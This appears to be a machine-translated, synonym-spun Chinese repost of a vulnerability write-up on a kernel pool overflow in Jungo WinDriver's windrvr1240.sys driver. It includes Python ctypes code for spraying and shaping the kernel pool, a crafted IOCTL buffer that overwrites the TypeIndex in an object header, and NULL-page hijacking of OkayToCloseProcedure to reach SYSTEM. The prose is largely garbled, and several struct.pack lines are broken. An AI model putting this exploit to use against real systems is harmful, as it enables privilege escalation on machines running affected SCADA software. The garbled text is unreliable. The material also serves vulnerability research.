频道栏目
首页 > 资讯 > 系统安全 > 正文

微软Windows系统内核池混和对象的运用,溢出漏洞bug技术研究及探讨

17-09-20        来源:[db:作者]  
收藏   我要投稿

本文重要探究一个根本的内核池溢出漏洞破绽bug,并研讨在经由进程混杂内核对象停止内核池放射后,若何经由进程笼罩TypeIndex来停止渗入渗出的办法。
此前,我参加了AWE系列课程,在课程停止后,我很想找到一些可以或许利用的内核漏洞破绽bug。尽管我可以或许利用HackSys Extreme Vulnerable Driver(HEVD)这个异常棒的进修对象,但我觉得,在现实利用中发明并利用漏洞破绽bug,会让我更有成就感。
因而,我开端进修若何开辟一个Windows内核装备驱动程序的fuzzer,并利用我自己的fuzzer去发明漏洞破绽bug,这个漏洞破绽bug就是我借助自己的fuzzer发明的。盼望我的漏洞破绽bug发明和利用进程能对人人有所赞助。
 
漏洞破绽bug阐发
在测试了一些SCADA(数据采集与监督节制体系)产物后,我发明了一个叫做“WinDriver”的第三方组件,它实在是Jungo的DriverWizard WinDriver,该组件平日绑缚于几个SCADA利用程序当中,常常能在旧版本中发明它的踪影。
在装置以后,它将一个名为windrvr1240.sys的装备驱动程序装置到Windows的驱动文件夹内。经由进程逆向,我找到了几个ioctl代码,可以或许间接拔出到我fuzzer的配置文件中。
{
    "ioctls_range":{
        "start": "0x95380000",
        "end": "0x9538ffff"
    }
}
而后,我经由进程利用verifier/volatile/flags 0x1/adddriver windrvr1240.sys,启用了一个特别的池,并开端尝试运行了我的fuzzer。随后,胜利发明了几个可以或许利用的漏洞破绽bug,此中一个漏洞破绽bug引起了我的留意:
kd> .trap 0xffffffffc800f96c
ErrCode = 00000002
eax=e4e4e4e4 ebx=8df44ba8 ecx=8df45004 edx=805d2141 esi=f268d599 edi=00000088
eip=9ffbc9e5 esp=c800f9e0 ebp=c800f9ec iopl=0         nv up ei pl nz na pe cy
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010207
windrvr1240+0x199e5:
9ffbc9e5 8941fc          mov     dword ptr [ecx-4],eax ds:0023:8df45000=????????
 
kd> dd esi+ecx-4
805d2599  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25a9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25b9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25c9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25d9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25e9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d25f9  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
805d2609  e4e4e4e4 e4e4e4e4 e4e4e4e4 e4e4e4e4
这是存储在[esi + ecx]中的用户节制数据,而它会对超越内核池的部门停止写入,经由进程进一步的研讨发明,这实在是由loc_4199D8中的内联赋值操纵而招致的池溢出。
.text:0041998E sub_41998E      proc near                    ; CODE XREF: sub_419B7C+3B2
.text:0041998E
.text:0041998E arg_0           = dword ptr  8
.text:0041998E arg_4           = dword ptr  0Ch
.text:0041998E
.text:0041998E                 push    ebp
.text:0041998F                 mov     ebp, esp
.text:00419991                 push    ebx
.text:00419992                 mov     ebx, [ebp+arg_4]
.text:00419995                 push    esi
.text:00419996                 push    edi
.text:00419997                 push    458h                 ; fized size_t +0x8 == 0x460
.text:0041999C                 xor     edi, edi
.text:0041999E                 push    edi                  ; int
.text:0041999F                 push    ebx                  ; void *
.text:004199A0                 call    memset               ; memset our buffer before the overflow

.text:004199A5                 mov     edx, [ebp+arg_0]     ; this is the SystemBuffer
.text:004199A8                 add     esp, 0Ch
.text:004199AB                 mov     eax, [edx]
.text:004199AD                 mov     [ebx], eax
.text:004199AF                 mov     eax, [edx+4]
.text:004199B2                 mov     [ebx+4], eax
.text:004199B5                 mov     eax, [edx+8]
.text:004199B8                 mov     [ebx+8], eax
.text:004199BB                 mov     eax, [edx+10h]
.text:004199BE                 mov     [ebx+10h], eax
.text:004199C1                 mov     eax, [edx+14h]
.text:004199C4                 mov     [ebx+14h], eax
.text:004199C7                 mov     eax, [edx+18h]       ; read our controlled size from SystemBuffer
.text:004199CA                 mov     [ebx+18h], eax       ; store it in the new kernel buffer
.text:004199CD                 test    eax, eax
.text:004199CF                 jz      short loc_4199ED
.text:004199D1                 mov     esi, edx
.text:004199D3                 lea     ecx, [ebx+1Ch]       ; index offset for the first write
.text:004199D6                 sub     esi, ebx
.text:004199D8
.text:004199D8 loc_4199D8:                                  ; CODE XREF: sub_41998E+5D
.text:004199D8                 mov     eax, [esi+ecx]       ; load the first write value from the buffer
.text:004199DB                 inc     edi                  ; copy loop index
.text:004199DC                 mov     [ecx], eax           ; first dword write
.text:004199DE                 lea     ecx, [ecx+8]         ; set the index into our overflown buffer
.text:004199E1                 mov     eax, [esi+ecx-4]     ; load the second write value from the buffer
.text:004199E5                 mov     [ecx-4], eax         ; second dword write
.text:004199E8                 cmp     edi, [ebx+18h]       ; compare against our controlled size

 

.text:004199EB                 jb      short loc_4199D8     ; jump back into loop
卖力复制的轮回,现实上会为每次轮回(qword)复制8个字节,并溢出巨细为0x460(0x458 + 0x8字节头)的缓冲区。复制的巨细,间接是攻击者在输出缓冲区节制部门的巨细。不存在整数溢出,也并无将其存储在不易被找到的处所。咱们可以或许看到,0x004199E8的巨细,就是响应缓冲区中,从+0x18偏移量节制部门的巨细。如许一来,利用就变得尤其简略。
 
漏洞破绽bug利用
咱们可以或许借助TypeIndex对象笼罩的办法来停止这一漏洞破绽bug的利用,详细来说是利用内核对象,笼罩存储在_OBJECT_HEADER中的TypeIndex。更详细的内容,可以或许参考文末我援用的文章。
以往咱们利用的一些罕用对象都是Event对象(巨细为0x40)和IoCompletionReserve对象(巨细为0x60),罕用的利用办法是像如许:
1.     用巨细为X的对象形成池放射,填满内存页;
2.     经由进程立刻开释内存(free)或削减对象的援用计数(release,不会立刻开释)相邻的对象,以触发coalescing,从而达到目的区块请求的巨细(在本例中是0x460);
3.     分派和溢出缓冲区,如许有必定概率可以或许打消下一个对象的_OBJECT_HEADER,从而利用TypeIndex。
举例来说,假如溢出的缓冲区巨细是0x200,就可以或许分派一组Event对象,并开释(free)此中的0x8(由于0x40 * 0x8 == 0x200),如许一来咱们就可以或许在此中停止分派和溢出。以是,咱们假定必要的内核对象,是池巨细的n次幂。
但成绩是,经由进程这类办法有时并不会有用,比方咱们的池巨细是0x460,假如咱们如许的话:
>>> 0x460 % 0x40
32
>>> 0x460 % 0x60
64
>>>
成果注解,总会有残剩的一部门空间,也就是说咱们不克不及使其发生一个特定巨细的区块。起初,我发明有一种办法可以或许办理该成绩,咱们可以或许搜刮具备目的缓冲区巨细的n次幂的内核对象,并利用这些找到的对象。颠末征采,我发明了别的两个内核对象:
# 1
type = "Job"
size = 0x168
 
windll.kernel32.CreateJobObjectW(None, None)
 
# 2
type = "Timer"
size = 0xc8
 
windll.kernel32.CreateWaitableTimerW(None, 0, None)
但是,这些巨细也异样不克不及利用,由于它们没有满足请求。颠末一段时间的测试,我意想到,可以或许采纳如许的办法:

>>> 0x460 % 0xa0

>>>
如许一来,0xa0就可以或许平均地分红几个0x460,那末咱们再将Event和IoCompletionReserve对象联合起来(0x40 + 0x60 = 0xa0),就可以或许完成!
放射进程
def we_can_spray():
    """
    Spray the Kernel Pool with IoCompletionReserve and Event Objects.
    The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length.
    These are allocated from the Nonpaged kernel pool.
    """
    handles = []
    IO_COMPLETION_OBJECT = 1
    for i in range(0, 25000):
        handles.append(windll.kernel32.CreateEventA(0,0,0,0))
        hHandle = HANDLE(0)
        handles.append(ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT))
 
    # could do with some better validation
    if len(handles) > 0:
        return True
    return False
这个函数可以或许喷出50000个对象,此中包括25000个Event对象和25000个IoCompletionReserve对象。在WinDBG中,看起来异常炫酷:
kd> !pool 85d1f000
Pool page 85d1f000 region is Nonpaged pool
*85d1f000 size:   60 previous size:    0  (Allocated) *IoCo (Protected)
        Owning component : Unknown (update pooltag.txt)
 85d1f060 size:   60 previous size:   60  (Allocated)  IoCo (Protected)       in the page
 85d1f0c0 size:   40 previous size:   60  (Allocated)  Even (Protected)
 85d1f100 size:   60 previous size:   40  (Allocated)  IoCo (Protected)
 85d1f160 size:   40 previous size:   60  (Allocated)  Even (Protected)
......
 85d1ff60 size:   60 previous size:   40  (Allocated)  IoCo (Protected)
 85d1ffc0 size:   40 previous size:   60  (Allocated)  Even (Protected)
构建洞
“IoCo”标记代表IoCompletionReserve对象,“Even”标记代表Event对象。请留意,咱们第一个区块的偏移量是0x60,这就是咱们开端开释(free)的偏移量。假如咱们开释一组IoCompletionReserve和Event对象,那末咱们的盘算成果就是:
>>> "0x%x" % (0x7 * 0xa0)
'0x460'
>>>
此时,会发生咱们所盼望的巨细。让咱们敏捷来看看假如咱们只开释接上去的7个IoCompletionReserve对象后会怎样:

 

kd> !pool 85d1f000
Pool page 85d1f000 region is Nonpaged pool
*85d1f000 size:   60 previous size:    0  (Allocated) *IoCo (Protected)
        Owning component : Unknown (update pooltag.txt)
 85d1f060 size:   60 previous size:   60  (Free)       IoCo
 85d1f0c0 size:   40 previous size:   60  (Allocated)  Even (Protected)
 85d1f100 size:   60 previous size:   40  (Free)       IoCo
 85d1f160 size:   40 previous size:   60  (Allocated)  Even (Protected)
......
 85d1f420 size:   60 previous size:   40  (Free)       IoCo
 85d1f480 size:   40 previous size:   60  (Allocated)  Even (Protected)
 85d1f4c0 size:   60 previous size:   40  (Allocated)  IoCo (Protected)
 85d1f520  size:      40  previous size:       60    (Allocated)    Even  (Protected)
......
 85d1ff60 size:   60 previous size:   40  (Allocated)  IoCo (Protected)
 85d1ffc0 size:   40 previous size:   60  (Allocated)  Even (Protected)
可以或许看出,咱们曾经领有许多已被开释的块,但它们是各自自力的。然则,咱们仍必要把它们归并成一个0x460的区块。咱们起首将区块的偏移量设置为0x60(第一个指向0xXXXXY060)。
            bin = []
 
            # object sizes
            CreateEvent_size         = 0x40
            IoCompletionReserve_size = 0x60
            combined_size            = CreateEvent_size + IoCompletionReserve_size
 
            # after the 0x20 chunk hole, the first object will be the IoCompletionReserve object
            offset = IoCompletionReserve_size 
            for i in range(offset, offset + (7 * combined_size), combined_size):
                try:
                    # chunks need to be next to each other for the coalesce to take effect
                    bin.append(khandlesd[obj + i])
                    bin.append(khandlesd[obj + i - IoCompletionReserve_size])
                except KeyError:
                    pass
 
            # make sure it's contiguously allocated memory
            if len(tuple(bin)) == 14:
                holes.append(tuple(bin))
 
    # make the holes to fill
    for hole in holes:
        for handle in hole:
            kernel32.CloseHandle(handle)
在咱们开释函数的同时,在池中打洞,并得到咱们所等待的开释块。
kd> !pool 8674e000
Pool page 8674e000 region is Nonpaged pool
*8674e000 size:  460 previous size:    0  (Free)      *Io                       free
    Pooltag Io   : general IO allocations, Binary : nt!io
 8674e460 size:   60 previous size:  460  (Allocated)  IoCo (Protected)
 8674e4c0 size:   40 previous size:   60  (Allocated)  Even (Protected)
......
 8674ef60 size:   40 previous size:   60  (Allocated)  Even (Protected)

 

{C} 8674efa0 size:   60 previous size:   40  (Allocated)  IoCo (Protected)
在此时,开释的区块曾经归并,而且领有一个完美的巨细,接上去就可以或许停止分派和笼罩。
对已开释区块的分派和笼罩
def we_can_trigger_the_pool_overflow():
    """
    This triggers the pool overflow vulnerability using a buffer of size 0x460.
    """
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    DEVICE_NAME   = "\\\\.\\WinDrvr1240"
    dwReturn      = c_ulong()
    driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None)
    inputbuffer       = 0x41414141
    inputbuffer_size  = 0x5000
    outputbuffer_size = 0x5000
    outputbuffer      = 0x20000000
    alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size)
    IoStatusBlock = c_ulong()
 
    if driver_handle:
        dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x953824b7,
                                                inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size)
        return True
    return False
完成溢出
人人可以或许留意到,在对缓冲区中偏移0x90的利用中,有一个空的dword。
def alloc_pool_overflow_buffer(base, input_size):
    """
    Craft our special buffer to trigger the overflow.
    """
    print "(+) allocating pool overflow input buffer"
    baseadd   = c_int(base)
    size = c_int(input_size)
    input  = "\x41" * 0x18                     # offset to size
    input += struct.pack(", 0x0000008d)     # controlled size (this triggers the overflow)
    input += "\x42" * (0x90-len(input))        # padding to survive bsod
    input += struct.pack(", 0x00000000)     # use a NULL dword for sub_4196CA
    input += "\x43" * ((0x460-0x8)-len(input)) # fill our pool buffer
该溢出必要一直存在,而且不克不及再被处置。以下的代码可以或许在复制轮回后间接履行:
.text:004199ED loc_4199ED:                                  ; CODE XREF: sub_41998E+41
.text:004199ED                 push    9
.text:004199EF                 pop     ecx
.text:004199F0                 lea     eax, [ebx+90h]       ; controlled from the copy
.text:004199F6                 push    eax                  ; void *
.text:004199F7                 lea     esi, [edx+6Ch]       ; controlled offset
.text:004199FA                 lea     eax, [edx+90h]       ; controlled offset
.text:00419A00                 lea     edi, [ebx+6Ch]       ; controlled from copy
.text:00419A03                 rep movsd
.text:00419A05                 push    eax                  ; int

 

{C}.text:00419A06                 call    sub_4196CA           ; call sub_4196CA
值得留意的是,代码将会挪用sub_4196CA。别的还要留意,@eax会成为咱们的缓冲区+0x90(0x004199FA)。咱们详细看一下这个函数挪用:
.text:004196CA sub_4196CA      proc near                    ; CODE XREF: sub_4195A6+1E
.text:004196CA                                              ; sub_41998E+78 ...
.text:004196CA
.text:004196CA arg_0           = dword ptr  8
.text:004196CA arg_4           = dword ptr  0Ch
.text:004196CA
.text:004196CA                 push    ebp
.text:004196CB                 mov     ebp, esp
.text:004196CD                 push    ebx
.text:004196CE                 mov     ebx, [ebp+arg_4]
.text:004196D1                 push    edi
.text:004196D2                 push    3C8h                 ; size_t
.text:004196D7                 push    0                    ; int
.text:004196D9                 push    ebx                  ; void *
.text:004196DA                 call    memset
.text:004196DF                 mov     edi, [ebp+arg_0]     ; controlled buffer
.text:004196E2                 xor     edx, edx
.text:004196E4                 add     esp, 0Ch
.text:004196E7                 mov     [ebp+arg_4], edx
.text:004196EA                 mov     eax, [edi]           ; make sure @eax is null
.text:004196EC                 mov     [ebx], eax           ; the write here is fine
.text:004196EE                 test    eax, eax
.text:004196F0                 jz      loc_4197CB           ; take the jump
该代码,会从咱们在+0x90的SystemBuffer中得到一个dword值,并将其写入溢出的缓冲区当中,并反省其能否为空。假如为空,咱们就不在这个函数中对其继承做处置,而且前往。
.text:004197CB loc_4197CB:                                  ; CODE XREF: sub_4196CA+26
.text:004197CB                 pop     edi
.text:004197CC                 pop     ebx

 

{C}.text:004197CD                 pop     ebp
.text:004197CE                 retn    8
假如不这么做,在试图拜访缓冲区中不存在的指针时,很有可以或许会呈现蓝屏。
至此,咱们就可以或许毫无挂念地触发eop了。对于Shellcode清算,咱们溢出的缓冲区存储在@esi中,以是咱们可以或许盘算TypeIndex的偏移量,并对其停止修补。末了,倡议将ObjectCreateInfo改成空,由于体系会防止利用这个指针。
打造咱们的缓冲区
考虑到在每一次轮回时,都邑复制0x8字节,而且肇端索引是0x1c:

.text:004199D3                 lea     ecx, [ebx+1Ch]       ; index offset for the first write
假定咱们盼望得到44字节(0x2c)的缓冲区溢出,咱们用缓冲区的巨细,减去头部,减去肇端索引偏移量,加之想要溢出的字节数,末了将其除以0x8(这是由于每次轮回都复制0x8字节)。

(0x460 – 0x8 – 0x1c + 0x2c) / 0x8 = 0x8d
也就是说,0x8d的巨细会使缓冲区溢出0x2c(即44字节),并能损坏池的头部、援用和对象头。
# repair the allocated chunk header...
    input += struct.pack(", 0x040c008c)     # _POOL_HEADER
    input += struct.pack(", 0xef436f49)     # _POOL_HEADER (PoolTag)
    input += struct.pack(", 0x00000000)     # _OBJECT_HEADER_QUOTA_INFO
    input += struct.pack(", 0x0000005c)     # _OBJECT_HEADER_QUOTA_INFO
    input += struct.pack(", 0x00000000)     # _OBJECT_HEADER_QUOTA_INFO
    input += struct.pack(", 0x00000000)     # _OBJECT_HEADER_QUOTA_INFO
    input += struct.pack(", 0x00000001)     # _OBJECT_HEADER (PointerCount)
    input += struct.pack(", 0x00000001)     # _OBJECT_HEADER (HandleCount)
    input += struct.pack(", 0x00000000)     # _OBJECT_HEADER (Lock)
    input += struct.pack(", 0x00080000)     # _OBJECT_HEADER (TypeIndex)
    input += struct.pack(", 0x00000000)     # _OBJECT_HEADER (ObjectCreateInfo)
当咱们将到0x00080000(现实上是较小的一个值)的TypeIndex为null。这意味着,函数表会指向0x0,而且咱们可以或许映照空页。
kd> dd nt!ObTypeIndexTable L2
82b7dee0  00000000 bad0b0b0
请留意,这里的第二个索引是0xbad0b0b0。如许的办法异样可以或许用于x64体系。
触发内核中的代码履行
在触发了溢出后,它存活了上去。但为了得到eop,咱们必要设置一个指向0x00000074的指针,以利用OkayToCloseProcedure函数指针。
kd> dt nt!_OBJECT_TYPE name 84fc8040
   +0x008 Name : _UNICODE_STRING "IoCompletionReserve"
kd> dt nt!_OBJECT_TYPE 84fc8040 .
   +0x000 TypeList         :  [ 0x84fc8040 - 0x84fc8040 ]
      +0x000 Flink            : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]
      +0x004 Blink            : 0x84fc8040 _LIST_ENTRY [ 0x84fc8040 - 0x84fc8040 ]
   +0x008 Name             :  "IoCompletionReserve"
      +0x000 Length           : 0x26
      +0x002 MaximumLength    : 0x28
      +0x004 Buffer           : 0x88c01090  "IoCompletionReserve"
   +0x010 DefaultObject    :
   +0x014 Index            : 0x0 ''               
   +0x018 TotalNumberOfObjects : 0x61a9
   +0x01c TotalNumberOfHandles : 0x61a9
   +0x020 HighWaterNumberOfObjects : 0x61a9
   +0x024 HighWaterNumberOfHandles : 0x61a9
   +0x028 TypeInfo         :                      
      +0x000 Length           : 0x50
      +0x002 ObjectTypeFlags  : 0x2 ''
      +0x002 CaseInsensitive  : 0y0

 

      +0x002 UnnamedObjectsOnly : 0y1
      +0x002 UseDefaultObject : 0y0
      +0x002 SecurityRequired : 0y0
      +0x002 MaintainHandleCount : 0y0
      +0x002 MaintainTypeList : 0y0
      +0x002 SupportsObjectCallbacks : 0y0
      +0x002 CacheAligned     : 0y0
      +0x004 ObjectTypeCode   : 0
      +0x008 InvalidAttributes : 0xb0
      +0x00c GenericMapping   : _GENERIC_MAPPING
      +0x01c ValidAccessMask  : 0xf0003
      +0x020 RetainAccess     : 0
      +0x024 PoolType         : 0 ( NonPagedPool )
      +0x028 DefaultPagedPoolCharge : 0
      +0x02c DefaultNonPagedPoolCharge : 0x5c
      +0x030 DumpProcedure    : (null)
      +0x034 OpenProcedure    : (null)
      +0x038 CloseProcedure   : (null)
      +0x03c DeleteProcedure  : (null)
      +0x040 ParseProcedure   : (null)
      +0x044 SecurityProcedure : 0x82cb02ac        long  nt!SeDefaultObjectMethod+0
      +0x048 QueryNameProcedure : (null)
      +0x04c OkayToCloseProcedure : (null)        
   +0x078 TypeLock         :
      +0x000 Locked           : 0y0
      +0x000 Waiting          : 0y0
      +0x000 Waking           : 0y0
      +0x000 MultipleShared   : 0y0
      +0x000 Shared           : 0y0000000000000000000000000000 (0)
      +0x000 Value            : 0
      +0x000 Ptr              : (null)
   +0x07c Key              : 0x6f436f49
   +0x080 CallbackList     :  [ 0x84fc80c0 - 0x84fc80c0 ]
      +0x000 Flink            : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]
      +0x004 Blink            : 0x84fc80c0 _LIST_ENTRY [ 0x84fc80c0 - 0x84fc80c0 ]
如许,0x28 + 0x4c = 0x74就是咱们的指针必要指向的地位。然则OkayToCloseProcedure是若何挪用的呢?颠末研讨发明,这是一个注册的aexit handler。以是,为了触发代码的履行,咱们只必要开释损坏的IoCompletionReserve。咱们并不清楚句柄是与哪个溢出块相联系关系,以是咱们爽性全体开释它们。
def trigger_lpe():
    """
    This function frees the IoCompletionReserve objects and this triggers the
    registered aexit, which is our controlled pointer to OkayToCloseProcedure.
    """
    # free the corrupted chunk to trigger OkayToCloseProcedure
    for k, v in khandlesd.iteritems():
        kernel32.CloseHandle(v)
    os.system("cmd.exe")
末了,咱们终极胜利完成,如图所示:

 

 

相关TAG标签
上一篇:2017年9月19日被黑网站曝光
下一篇:处理华为手机解锁密码忘记的办法
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站